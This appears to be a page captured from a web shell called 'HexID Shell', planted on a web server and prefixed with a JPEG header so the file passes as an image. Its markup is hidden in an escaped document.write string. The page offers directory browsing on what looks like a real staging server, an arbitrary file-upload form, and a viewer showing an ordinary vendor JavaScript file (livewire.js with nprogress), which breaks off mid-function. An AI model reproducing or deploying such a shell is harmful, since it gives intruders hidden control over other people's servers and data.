�����JFIF��������2�
<!DOCTYPE HTML>
<html><head><script type="text/javascript">document.write("\u003C\u006C\u0069\u006E\u006B\u0020\u0068\u0072\u0065\u0066\u003D\u0022\u0022\u0020\u0072\u0065\u006C\u003D\u0022\u0073\u0074\u0079\u006C\u0065\u0073\u0068\u0065\u0065\u0074\u0022\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u002F\u0063\u0073\u0073\u0022\u003E\u000A\u003C\u0074\u0069\u0074\u006C\u0065\u003E\u0048\u0065\u0078\u0049\u0044\u0020\u0053\u0068\u0065\u006C\u006C\u003C\u002F\u0074\u0069\u0074\u006C\u0065\u003E\u000A\u000A\u003C\u006C\u0069\u006E\u006B\u0020\u0068\u0072\u0065\u0066\u003D\u0022\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0066\u006F\u006E\u0074\u0073\u002E\u0067\u006F\u006F\u0067\u006C\u0065\u0061\u0070\u0069\u0073\u002E\u0063\u006F\u006D\u002F\u0063\u0073\u0073\u003F\u0066\u0061\u006D\u0069\u006C\u0079\u003D\u0049\u0063\u0065\u006C\u0061\u006E\u0064\u0022\u0020\u0072\u0065\u006C\u003D\u0022\u0073\u0074\u0079\u006C\u0065\u0073\u0068\u0065\u0065\u0074\u0022\u003E\u000A\u003C\u006C\u0069\u006E\u006B\u0020\u0068\u0072\u0065\u0066\u003D\u0022\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0066\u006F\u006E\u0074\u0073\u002E\u0067\u006F\u006F\u0067\u006C\u0065\u0061\u0070\u0069\u0073\u002E\u0063\u006F\u006D\u002F\u0063\u0073\u0073\u003F\u0066\u0061\u006D\u0069\u006C\u0079\u003D\u0054\u0065\u006B\u006F\u0022\u0020\u0072\u0065\u006C\u003D\u0022\u0073\u0074\u0079\u006C\u0065\u0073\u0068\u0065\u0065\u0074\u0022\u003E\u000A\u003C\u006C\u0069\u006E\u006B\u0020\u0068\u0072\u0065\u0066\u003D\u0022\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0066\u006F\u006E\u0074\u0073\u002E\u0067\u006F\u006F\u0067\u006C\u0065\u0061\u0070\u0069\u0073\u002E\u0063\u006F\u006D\u002F\u0063\u0073\u0073\u003F\u0066\u0061\u006D\u0069\u006C\u0079\u003D\u004E\u0065\u0077\u0020\u0052\u006F\u0063\u006B\u0065\u0072\u0022\u0020\u0072\u0065\u006C\u003D\u0022\u0073\u0074\u0079\u006C\u0065\u0073\u0068\u0065\u0065\u0074\u0022\u003E\u000A\u000A\u003C\u006D\u0065\u0074\u0061\u0020\u006E\u0061\u006D\u0065\u003D\u0022\u0076\u0069\u0065\u0077\u0070\u006F\u0072\u0074\u0022\u0020\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u003D\u0022\u0077\u0069\u0064\u0074\u0068\u003D\u0064\u0065\u0076\u0069\u0063\u0065\u002D\u0077\u0069\u0064\u0074\u0068\u002C\u0020\u0069\u006E\u0069\u0074\u0069\u0061\u006C\u002D\u0073\u0063\u0061\u006C\u0065\u003D\u0031\u002E\u0030\u002C\u0020\u006D\u0061\u0078\u0069\u006D\u0075\u006D\u002D\u0073\u0063\u0061\u006C\u0065\u003D\u0031\u002E\u0030\u002C\u0020\u0075\u0073\u0065\u0072\u002D\u0073\u0063\u0061\u006C\u0061\u0062\u006C\u0065\u003D\u006E\u006F\u0022\u003E\u000A\u000A\u003C\u0061\u0075\u0064\u0069\u006F\u0020\u0061\u0075\u0074\u006F\u0070\u006C\u0061\u0079\u003E\u0020\u003C\u0073\u006F\u0075\u0072\u0063\u0065\u0020\u0073\u0072\u0063\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0077\u0077\u0077\u002E\u0073\u006F\u0075\u006E\u0064\u0065\u0073\u0063\u0061\u0070\u0065\u0073\u0074\u0075\u0064\u0069\u006F\u0073\u002E\u0063\u006F\u006D\u002F\u0053\u0045\u0053\u0041\u0075\u0064\u0069\u006F\u002F\u0053\u0045\u0053\u0025\u0032\u0030\u0053\u0069\u0074\u0065\u0025\u0032\u0030\u0053\u006F\u0075\u006E\u0064\u0073\u002F\u0042\u0065\u0065\u0070\u0073\u002F\u0042\u0065\u0065\u0070\u0073\u002D\u0073\u0068\u006F\u0072\u0074\u002D\u0030\u0031\u002E\u0077\u0061\u0076\u0022\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0061\u0075\u0064\u0069\u006F\u002F\u006D\u0070\u0065\u0067\u0022\u003E\u003C\u002F\u0061\u0075\u0064\u0069\u006F\u003E\u000A\u000A\u000A\u003C\u0021\u002D\u002D\u000A\u000A\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0077\u0077\u0077\u002E\u0073\u006F\u0075\u006E\u0064\u0065\u0073\u0063\u0061\u0070\u0065\u0073\u0074\u0075\u0064\u0069\u006F\u0073\u002E\u0063\u006F\u006D\u002F\u0053\u0045\u0053\u0041\u0075\u0064\u0069\u006F\u002F\u0053\u0045\u0053\u0025\u0032\u0030\u0053\u0069\u0074\u0065\u0025\u0032\u0030\u0053\u006F\u0075\u006E\u0064\u0073\u002F\u004C\u0061\u0073\u0065\u0072\u0025\u0032\u0030\u0053\u0063\u0069\u0025\u0032\u0030\u0046\u0069\u002F\u0041\u006C\u0069\u0065\u006E\u002D\u0074\u0061\u006B\u0065\u006F\u0066\u0066\u002D\u0030\u0031\u002E\u0077\u0061\u0076\u000A\u000A\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u0077\u0077\u0077\u002E\u0073\u006F\u0075\u006E\u0064\u0065\u0073\u0063\u0061\u0070\u0065\u0073\u0074\u0075\u0064\u0069\u006F\u0073\u002E\u0063\u006F\u006D\u002F\u0053\u0045\u0053\u0041\u0075\u0064\u0069\u006F\u002F\u0053\u0045\u0053\u0025\u0032\u0030\u0053\u0069\u0074\u0065\u0025\u0032\u0030\u0053\u006F\u0075\u006E\u0064\u0073\u002F\u0042\u0065\u0065\u0070\u0073\u002F\u0042\u0065\u0065\u0070\u0073\u002D\u0073\u0068\u006F\u0072\u0074\u002D\u0030\u0031\u002E\u0077\u0061\u0076\u000A\u000A\u002D\u002D\u003E\u000A\u000A\u003C\u0073\u0074\u0079\u006C\u0065\u003E\u000A\u0068\u0074\u006D\u006C\u007B\u000A\u0077\u0069\u0064\u0074\u0068\u003A\u0031\u0030\u0030\u0025\u003B\u000A\u007D\u000A\u0062\u006F\u0064\u0079\u007B\u000A\u0077\u0069\u0064\u0074\u0068\u003A\u0039\u0036\u0025\u003B\u000A\u0066\u006F\u006E\u0074\u002D\u0066\u0061\u006D\u0069\u006C\u0079\u003A\u0020\u0049\u0063\u0065\u006C\u0061\u006E\u0064\u003B\u000A\u0062\u0061\u0063\u006B\u0067\u0072\u006F\u0075\u006E\u0064\u002D\u0063\u006F\u006C\u006F\u0072\u003A\u0020\u0062\u006C\u0061\u0063\u006B\u003B\u000A\u0063\u006F\u006C\u006F\u0072\u003A\u0077\u0068\u0069\u0074\u0065\u003B\u000A\u007D\u000A\u0023\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u0020\u0074\u0072\u003A\u0068\u006F\u0076\u0065\u0072\u007B\u000A\u0062\u0061\u0063\u006B\u0067\u0072\u006F\u0075\u006E\u0064\u002D\u0063\u006F\u006C\u006F\u0072\u003A\u0020\u0067\u0072\u0065\u0065\u006E\u003B\u000A\u0074\u0065\u0078\u0074\u002D\u0073\u0068\u0061\u0064\u006F\u0077\u003A\u0020\u0031\u0030\u0070\u0078\u0020\u0031\u0030\u0070\u0078\u0020\u0031\u0030\u0070\u0078\u0020\u006C\u0069\u006D\u0065\u003B\u000A\u007D\u000A\u0023\u0063\u006F\u006E\u0074\u0065\u006E\u0074\u0020\u002E\u0066\u0069\u0072\u0073\u0074\u007B\u000A\u0063\u006F\u006C\u006F\u0072\u003A\u0020\u0062\u006C\u0061\u0063\u006B\u003B\u000A\u0062\u0061\u0063\u006B\u0067\u0072\u006F\u0075\u006E\u0064\u002D\u0063\u006F\u006C\u006F\u0072\u003A\u0020\u006C\u0069\u006D\u0065\u003B\u000A\u007D\u000A\u0074\u0061\u0062\u006C\u0065\u007B\u000A\u0062\u006F\u0072\u0064\u0065\u0072\u003A\u0020\u0031\u0070\u0078\u0020\u006C\u0069\u006D\u0065\u0020\u0073\u006F\u006C\u0069\u0064\u003B\u000A\u007D\u000A\u000A\u0069\u006D\u0067\u005B\u0061\u006C\u0074\u002A\u003D\u0022\u0077\u0077\u0077\u002E\u0030\u0030\u0030\u0077\u0065\u0062\u0068\u006F\u0073\u0074\u002E\u0063\u006F\u006D\u0022\u005D\u0020\u007B\u000A\u0064\u0069\u0073\u0070\u006C\u0061\u0079\u003A\u0020\u006E\u006F\u006E\u0065\u003B\u000A\u007D\u0070\u006C\u0061\u0079\u003A\u0020\u006E\u006F\u006E\u0065\u003B\u000A\u007D\u000A\u000A\u002E\u006B\u0061\u006E\u0065\u007B\u000A\u0062\u006F\u0072\u0064\u0065\u0072\u003A\u0020\u0031\u0070\u0078\u0020\u0023\u0030\u0030\u0030\u0030\u0030\u0030\u0020\u0073\u006F\u006C\u0069\u0064\u003B\u000A\u002D\u006D\u006F\u007A\u002D\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0020\u0035\u0070\u0078\u003B\u000A\u002D\u0077\u0065\u0062\u006B\u0069\u0074\u002D\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0035\u0070\u0078\u003B\u000A\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0035\u0070\u0078\u003B\u000A\u0066\u006F\u006E\u0074\u002D\u0077\u0065\u0069\u0067\u0068\u0074\u003A\u0062\u006F\u006C\u0064\u003B\u000A\u007D\u000A\u000A\u002E\u0046\u0069\u006C\u0065\u007A\u007B\u000A\u0062\u006F\u0072\u0064\u0065\u0072\u003A\u0020\u0031\u0070\u0078\u0020\u0023\u0030\u0030\u0030\u0030\u0030\u0030\u0020\u0073\u006F\u006C\u0069\u0064\u003B\u000A\u002D\u006D\u006F\u007A\u002D\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0020\u0035\u0070\u0078\u003B\u000A\u002D\u0077\u0065\u0062\u006B\u0069\u0074\u002D\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0035\u0070\u0078\u003B\u000A\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0035\u0070\u0078\u003B\u000A\u007D\u000A\u000A\u002E\u006B\u0061\u006E\u007B\u000A\u002D\u006D\u006F\u007A\u002D\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0020\u0034\u0070\u0078\u003B\u000A\u002D\u0077\u0065\u0062\u006B\u0069\u0074\u002D\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0034\u0070\u0078\u003B\u000A\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0034\u0070\u0078\u003B\u000A\u007D\u000A\u000A\u002E\u0063\u006F\u006C\u007A\u007B\u000A\u0062\u0061\u0063\u006B\u0067\u0072\u006F\u0075\u006E\u0064\u003A\u0020\u0023\u0030\u0031\u0031\u0031\u0031\u0031\u003B\u0062\u006F\u0072\u0064\u0065\u0072\u003A\u0031\u0070\u0078\u0020\u006C\u0069\u006D\u0065\u0020\u0073\u006F\u006C\u0069\u0064\u003B\u0063\u006F\u006C\u006F\u0072\u003A\u0077\u0068\u0069\u0074\u0065\u003B\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0020\u0035\u0070\u0078\u003B\u000A\u007D\u000A\u000A\u0061\u007B\u000A\u0063\u006F\u006C\u006F\u0072\u003A\u0077\u0068\u0069\u0074\u0065\u003B\u000A\u0074\u0065\u0078\u0074\u002D\u0064\u0065\u0063\u006F\u0072\u0061\u0074\u0069\u006F\u006E\u003A\u0020\u006E\u006F\u006E\u0065\u003B\u000A\u007D\u000A\u0061\u003A\u0068\u006F\u0076\u0065\u0072\u007B\u000A\u0063\u006F\u006C\u006F\u0072\u003A\u006C\u0069\u006D\u0065\u003B\u000A\u0074\u0065\u0078\u0074\u002D\u0073\u0068\u0061\u0064\u006F\u0077\u003A\u0030\u0070\u0078\u0020\u0030\u0070\u0078\u0020\u0031\u0030\u0070\u0078\u0020\u0023\u0066\u0066\u0066\u0066\u0066\u0066\u003B\u000A\u007D\u000A\u002E\u0062\u006C\u0069\u006E\u006B\u005F\u0074\u0065\u0078\u0074\u0020\u007B\u000A\u002D\u0077\u0065\u0062\u006B\u0069\u0074\u002D\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u006E\u0061\u006D\u0065\u003A\u0020\u0062\u006C\u0069\u006E\u006B\u0065\u0072\u003B\u000A\u002D\u0077\u0065\u0062\u006B\u0069\u0074\u002D\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u0064\u0075\u0072\u0061\u0074\u0069\u006F\u006E\u003A\u0020\u0032\u0073\u003B\u000A\u002D\u0077\u0065\u0062\u006B\u0069\u0074\u002D\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u0074\u0069\u006D\u0069\u006E\u0067\u002D\u0066\u0075\u006E\u0063\u0074\u0069\u006F\u006E\u003A\u0020\u006C\u0069\u006E\u0065\u0061\u0072\u003B\u000A\u002D\u0077\u0065\u0062\u006B\u0069\u0074\u002D\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u0069\u0074\u0065\u0072\u0061\u0074\u0069\u006F\u006E\u002D\u0063\u006F\u0075\u006E\u0074\u003A\u0020\u0069\u006E\u0066\u0069\u006E\u0069\u0074\u0065\u003B\u000A\u000A\u002D\u006D\u006F\u007A\u002D\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u006E\u0061\u006D\u0065\u003A\u0020\u0062\u006C\u0069\u006E\u006B\u0065\u0072\u003B\u000A\u002D\u006D\u006F\u007A\u002D\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u0064\u0075\u0072\u0061\u0074\u0069\u006F\u006E\u003A\u0020\u0032\u0073\u003B\u000A\u002D\u006D\u006F\u007A\u002D\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u0074\u0069\u006D\u0069\u006E\u0067\u002D\u0066\u0075\u006E\u0063\u0074\u0069\u006F\u006E\u003A\u0020\u006C\u0069\u006E\u0065\u0061\u0072\u003B\u000A\u002D\u006D\u006F\u007A\u002D\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u0069\u0074\u0065\u0072\u0061\u0074\u0069\u006F\u006E\u002D\u0063\u006F\u0075\u006E\u0074\u003A\u0020\u0069\u006E\u0066\u0069\u006E\u0069\u0074\u0065\u003B\u000A\u000A\u0020\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u006E\u0061\u006D\u0065\u003A\u0020\u0062\u006C\u0069\u006E\u006B\u0065\u0072\u003B\u000A\u0020\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u0064\u0075\u0072\u0061\u0074\u0069\u006F\u006E\u003A\u0020\u0032\u0073\u003B\u000A\u0020\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u0074\u0069\u006D\u0069\u006E\u0067\u002D\u0066\u0075\u006E\u0063\u0074\u0069\u006F\u006E\u003A\u0020\u006C\u0069\u006E\u0065\u0061\u0072\u003B\u000A\u0020\u0061\u006E\u0069\u006D\u0061\u0074\u0069\u006F\u006E\u002D\u0069\u0074\u0065\u0072\u0061\u0074\u0069\u006F\u006E\u002D\u0063\u006F\u0075\u006E\u0074\u003A\u0020\u0069\u006E\u0066\u0069\u006E\u0069\u0074\u0065\u003B\u000A\u000A\u0020\u0063\u006F\u006C\u006F\u0072\u003A\u0020\u0072\u0065\u0064\u003B\u000A\u007D\u000A\u0040\u002D\u006D\u006F\u007A\u002D\u006B\u0065\u0079\u0066\u0072\u0061\u006D\u0065\u0073\u0020\u0062\u006C\u0069\u006E\u006B\u0065\u0072\u0020\u007B\u0020\u000A\u0020\u0030\u0025\u0020\u007B\u0020\u006F\u0070\u0061\u0063\u0069\u0074\u0079\u003A\u0020\u0035\u002E\u0030\u003B\u000A\u0020\u007D\u000A\u0020\u0035\u0030\u0025\u0020\u007B\u0020\u006F\u0070\u0061\u0063\u0069\u0074\u0079\u003A\u0020\u0030\u002E\u0030\u003B\u000A\u0020\u007D\u000A\u0020\u0031\u0030\u0030\u0025\u0020\u007B\u0020\u006F\u0070\u0061\u0063\u0069\u0074\u0079\u003A\u0020\u0035\u002E\u0030\u003B\u000A\u0020\u007D\u000A\u0020\u007D\u000A\u0040\u002D\u0077\u0065\u0062\u006B\u0069\u0074\u002D\u006B\u0065\u0079\u0066\u0072\u0061\u006D\u0065\u0073\u0020\u0062\u006C\u0069\u006E\u006B\u0065\u0072\u0020\u007B\u0020\u000A\u0020\u0030\u0025\u0020\u007B\u0020\u006F\u0070\u0061\u0063\u0069\u0074\u0079\u003A\u0020\u0035\u002E\u0030\u003B\u000A\u0020\u007D\u000A\u0020\u0035\u0030\u0025\u0020\u007B\u0020\u006F\u0070\u0061\u0063\u0069\u0074\u0079\u003A\u0020\u0030\u002E\u0030\u003B\u000A\u0020\u007D\u000A\u0020\u0031\u0030\u0030\u0025\u0020\u007B\u0020\u006F\u0070\u0061\u0063\u0069\u0074\u0079\u003A\u0020\u0035\u002E\u0030\u003B\u000A\u0020\u007D\u000A\u0020\u007D\u000A\u0040\u006B\u0065\u0079\u0066\u0072\u0061\u006D\u0065\u0073\u0020\u0062\u006C\u0069\u006E\u006B\u0065\u0072\u0020\u007B\u0020\u000A\u0020\u0030\u0025\u0020\u007B\u0020\u006F\u0070\u0061\u0063\u0069\u0074\u0079\u003A\u0020\u0035\u002E\u0030\u003B\u000A\u0020\u007D\u000A\u0020\u0035\u0030\u0025\u0020\u007B\u0020\u006F\u0070\u0061\u0063\u0069\u0074\u0079\u003A\u0020\u0030\u002E\u0030\u003B\u000A\u0020\u007D\u000A\u0020\u0031\u0030\u0030\u0025\u0020\u007B\u0020\u006F\u0070\u0061\u0063\u0069\u0074\u0079\u003A\u0020\u0035\u002E\u0030\u003B\u000A\u0020\u007D\u000A\u0020\u007D\u000A\u003C\u002F\u0073\u0074\u0079\u006C\u0065\u003E\u0020\u000A\u003C\u002F\u0068\u0065\u0061\u0064\u003E\u000A\u000A\u000A\u000A\u003C\u0062\u006F\u0064\u0079\u003E\u000A\u003C\u0063\u0065\u006E\u0074\u0065\u0072\u003E\u003C\u0021\u002D\u002D\u003C\u0070\u0020\u0063\u006C\u0061\u0073\u0073\u003D\u0022\u0062\u006C\u0069\u006E\u006B\u005F\u0074\u0065\u0078\u0074\u0022\u0020\u0073\u0074\u0079\u006C\u0065\u003D\u0022\u0066\u006F\u006E\u0074\u002D\u0073\u0069\u007A\u0065\u003A\u0034\u0035\u0070\u0078\u003B\u000A\u0063\u006F\u006C\u006F\u0072\u003A\u0077\u0068\u0069\u0074\u0065\u003B\u0074\u0065\u0078\u0074\u002D\u0073\u0068\u0061\u0064\u006F\u0077\u003A\u0020\u0030\u0070\u0078\u0020\u0030\u0070\u0078\u0020\u0032\u0030\u0070\u0078\u0020\u0023\u0030\u0030\u0066\u0066\u0066\u0066\u0020\u002C\u0020\u0030\u0070\u0078\u0020\u0030\u0070\u0078\u0020\u0032\u0030\u0070\u0078\u0020\u0023\u0030\u0030\u0066\u0066\u0066\u0066\u003B\u0066\u006F\u006E\u0074\u002D\u0066\u0061\u006D\u0069\u006C\u0079\u003A\u0049\u0063\u0065\u006C\u0061\u006E\u0064\u003B\u0022\u003E\u002D\u002D\u003E\u000A\u000A\u003C\u0066\u006F\u006E\u0074\u0020\u0066\u0061\u0063\u0065\u003D\u0022\u004E\u0065\u0077\u0020\u0052\u006F\u0063\u006B\u0065\u0072\u0022\u0020\u0073\u0069\u007A\u0065\u003D\u0022\u0035\u0022\u0020\u0020\u0073\u0074\u0079\u006C\u0065\u003D\u0022\u0063\u006F\u006C\u006F\u0072\u003A\u0062\u006C\u0061\u0063\u006B\u003B\u0074\u0065\u0078\u0074\u002D\u0073\u0068\u0061\u0064\u006F\u0077\u003A\u0020\u0030\u0020\u0030\u0020\u0033\u0070\u0078\u0020\u006C\u0069\u006D\u0065\u002C\u0020\u0030\u0070\u0078\u0020\u0030\u0070\u0078\u0020\u0035\u0070\u0078\u0020\u006C\u0069\u006D\u0065\u002C\u0030\u0020\u0030\u0020\u0035\u0070\u0078\u0020\u006C\u0069\u006D\u0065\u002C\u0030\u0020\u0030\u0020\u0035\u0070\u0078\u0020\u006C\u0069\u006D\u0065\u003B\u0022\u003E\u003C\u0062\u003E\u0048\u0065\u0078\u0069\u0064\u002E\u004D\u0069\u006E\u0069\u0020\u0053\u0068\u0065\u006C\u006C\u002E\u004D\u006F\u0062\u0069\u004C\u0065\u000A\u003C\u002F\u0066\u006F\u006E\u0074\u003E\u003C\u002F\u0062\u0072\u003E\u003C\u002F\u0062\u003E\u000A\u000A\u000A\u000A\u000A\u000A\u000A\u003C\u0021\u002D\u002D\u0042\u0061\u0067\u0069\u0061\u006E\u0020\u0044\u0069\u0072\u002D\u002D\u003E\u000A\u000A\u003C\u0074\u0061\u0062\u006C\u0065\u0020\u0073\u0074\u0079\u006C\u0065\u003D\u0022\u0062\u0061\u0063\u006B\u0067\u0072\u006F\u0075\u006E\u0064\u003A\u0020\u0023\u0030\u0031\u0031\u0031\u0031\u0031\u003B\u0062\u006F\u0072\u0064\u0065\u0072\u002D\u0072\u0061\u0064\u0069\u0075\u0073\u003A\u0020\u0034\u0070\u0078\u003B\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003D\u0022\u0031\u0030\u0030\u0025\u0022\u0020\u0062\u006F\u0072\u0064\u0065\u0072\u003D\u0022\u0030\u0022\u0020\u0063\u0065\u006C\u006C\u0070\u0061\u0064\u0064\u0069\u006E\u0067\u003D\u0022\u0033\u0022\u0020\u0063\u0065\u006C\u006C\u0073\u0070\u0061\u0063\u0069\u006E\u0067\u003D\u0022\u0031\u0022\u0020\u003E\u003C\u0074\u0072\u003E\u003C\u0074\u0064\u003E\u000A\u000A\u003C\u0069\u006D\u0067\u0020\u0073\u0072\u0063\u003D\u0022\u0068\u0074\u0074\u0070\u0073\u003A\u002F\u002F\u0063\u0064\u006E\u0031\u002E\u0069\u0063\u006F\u006E\u0066\u0069\u006E\u0064\u0065\u0072\u002E\u0063\u006F\u006D\u002F\u0064\u0061\u0074\u0061\u002F\u0069\u0063\u006F\u006E\u0073\u002F\u0061\u0072\u0072\u006F\u0077\u0073\u002D\u0066\u006C\u0061\u0074\u002D\u0031\u002F\u0031\u0039\u0032\u002F\u0048\u006F\u006D\u0065\u005F\u0070\u0061\u0067\u0065\u002D\u0032\u0035\u0036\u002E\u0070\u006E\u0067\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003D\u0022\u0033\u0025\u0022\u003E\u0020\u003C\u0066\u006F\u006E\u0074\u0020\u0063\u006F\u006C\u006F\u0072\u003D\u0022\u0077\u0068\u0069\u0074\u0065\u0022\u0020\u0073\u0069\u007A\u0065\u003D\u0022\u0031\u0022\u003E\u0044\u0069\u0072\u003A\u003C\u002F\u0066\u006F\u006E\u0074\u003E\u003C\u0066\u006F\u006E\u0074\u0020\u0073\u0069\u007A\u0065\u003D\u0022\u0031\u0022\u003E");</script>

<a href="?path=/">/</a><a href="?path=//home">home</a>/<a href="?path=//home/forge">forge</a>/<a href="?path=//home/forge/crm-staging.pigment.se">crm-staging.pigment.se</a>/<a href="?path=//home/forge/crm-staging.pigment.se/vendor">vendor</a>/<a href="?path=//home/forge/crm-staging.pigment.se/vendor/livewire">livewire</a>/<a href="?path=//home/forge/crm-staging.pigment.se/vendor/livewire/livewire">livewire</a>/<a href="?path=//home/forge/crm-staging.pigment.se/vendor/livewire/livewire/dist">dist</a>/</td></font></tr><tr><td><form enctype="multipart/form-data" method="POST">
<font color="white">File Upload :</font> <br>
<input class="kanez" type="file" name="file" /><font color=#0111111>llllll</font><input class="kan" type="submit" value="upload" />
</form>
</td></tr><tr><td><font size='1'>Current File: //home/forge/crm-staging.pigment.se/vendor/livewire/livewire/dist/livewire.js</tr></font></td></table><br><from><center><textarea cols=42 rows=20 style='onfocus();color:white;background: #011111;border-radius:6px;border: 1px lime solid;' readonly>(() =&gt; {
  var __create = Object.create;
  var __defProp = Object.defineProperty;
  var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
  var __getOwnPropNames = Object.getOwnPropertyNames;
  var __getProtoOf = Object.getPrototypeOf;
  var __hasOwnProp = Object.prototype.hasOwnProperty;
  var __commonJS = (cb, mod) =&gt; function __require() {
    return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
  };
  var __copyProps = (to, from, except, desc) =&gt; {
    if (from &amp;&amp; typeof from === &quot;object&quot; || typeof from === &quot;function&quot;) {
      for (let key of __getOwnPropNames(from))
        if (!__hasOwnProp.call(to, key) &amp;&amp; key !== except)
          __defProp(to, key, { get: () =&gt; from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
    }
    return to;
  };
  var __toESM = (mod, isNodeMode, target) =&gt; (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(isNodeMode || !mod || !mod.__esModule ? __defProp(target, &quot;default&quot;, { value: mod, enumerable: true }) : target, mod));

  // node_modules/nprogress/nprogress.js
  var require_nprogress = __commonJS({
    &quot;node_modules/nprogress/nprogress.js&quot;(exports, module) {
      (function(root, factory) {
        if (typeof define === &quot;function&quot; &amp;&amp; define.amd) {
          define(factory);
        } else if (typeof exports === &quot;object&quot;) {
          module.exports = factory();
        } else {
          root.NProgress = factory();
        }
      })(exports, function() {
        var NProgress2 = {};
        NProgress2.version = &quot;0.2.0&quot;;
        var Settings = NProgress2.settings = {
          minimum: 0.08,
          easing: &quot;ease&quot;,
          positionUsing: &quot;&quot;,
          speed: 200,
          trickle: true,
          trickleRate: 0.02,
          trickleSpeed: 800,
          showSpinner: true,
          barSelector: &#039;[role=&quot;bar&quot;]&#039;,
          spinnerSelector: &#039;[role=&quot;spinner&quot;]&#039;,
          parent: &quot;body&quot;,
          template: &#039;&lt;div class=&quot;bar&quot; role=&quot;bar&quot;&gt;&lt;div class=&quot;peg&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;spinner&quot; role=&quot;spinner&quot;&gt;&lt;div class=&quot;spinner-icon&quot;&gt;&lt;/div&gt;&lt;/div&gt;&#039;
        };
        NProgress2.configure = function(options) {
          var key, value;
          for (key in options) {
            value = options[key];
            if (value !== void 0 &amp;&amp; options.hasOwnProperty(key))
              Settings[key] = value;
          }
          return this;
        };
        NProgress2.status = null;
        NProgress2.set = function(n) {
          var started2 = NProgress2.isStarted();
          n = clamp2(n, Settings.minimum, 1);
          NProgress2.status = n === 1 ? null : n;
          var progress = NProgress2.render(!started2), bar = progress.querySelector(Settings.barSelector), speed = Settings.speed, ease = Settings.easing;
          progress.offsetWidth;
          queue2(function(next) {
            if (Settings.positionUsing === &quot;&quot;)
              Settings.positionUsing = NProgress2.getPositioningCSS();
            css(bar, barPositionCSS(n, speed, ease));
            if (n === 1) {
              css(progress, {
                transition: &quot;none&quot;,
                opacity: 1
              });
              progress.offsetWidth;
              setTimeout(function() {
                css(progress, {
                  transition: &quot;all &quot; + speed + &quot;ms linear&quot;,
                  opacity: 0
                });
                setTimeout(function() {
                  NProgress2.remove();
                  next();
                }, speed);
              }, speed);
            } else {
              setTimeout(next, speed);
            }
          });
          return this;
        };
        NProgress2.isStarted = function() {
          return typeof NProgress2.status === &quot;number&quot;;
        };
        NProgress2.start = function() {
          if (!NProgress2.status)
            NProgress2.set(0);
          var work = function() {
            setTimeout(function() {
              if (!NProgress2.status)
                return;
              NProgress2.trickle();
              work();
            }, Settings.trickleSpeed);
          };
          if (Settings.trickle)
            work();
          return this;
        };
        NProgress2.done = function(force) {
          if (!force &amp;&amp; !NProgress2.status)
            return this;
          return NProgress2.inc(0.3 + 0.5 * Math.random()).set(1);
        };
        NProgress2.inc = function(amount) {
          var n = NProgress2.status;
          if (!n) {
            return NProgress2.start();
          } else {
            if (typeof amount !== &quot;number&quot;) {
              amount = (1 - n) * clamp2(Math.random() * n, 0.1, 0.95);
            }
            n = clamp2(n + amount, 0, 0.994);
            return NProgress2.set(n);
          }
        };
        NProgress2.trickle = function() {
          return NProgress2.inc(Math.random() * Settings.trickleRate);
        };
        (function() {
          var initial = 0, current = 0;
          NProgress2.promise = function($promise) {
            if (!$promise || $promise.state() === &quot;resolved&quot;) {
              return this;
            }
            if (current === 0) {
              NProgress2.start();
            }
            initial++;
            current++;
            $promise.always(function() {
              current--;
              if (current === 0) {
                initial = 0;
                NProgress2.done();
              } else {
                NProgress2.set((initial - current) / initial);
              }
            });
            return this;
          };
        })();
        NProgress2.render = function(fromStart) {
          if (NProgress2.isRendered())
            return document.getElementById(&quot;nprogress&quot;);
          addClass(document.documentElement, &quot;nprogress-busy&quot;);
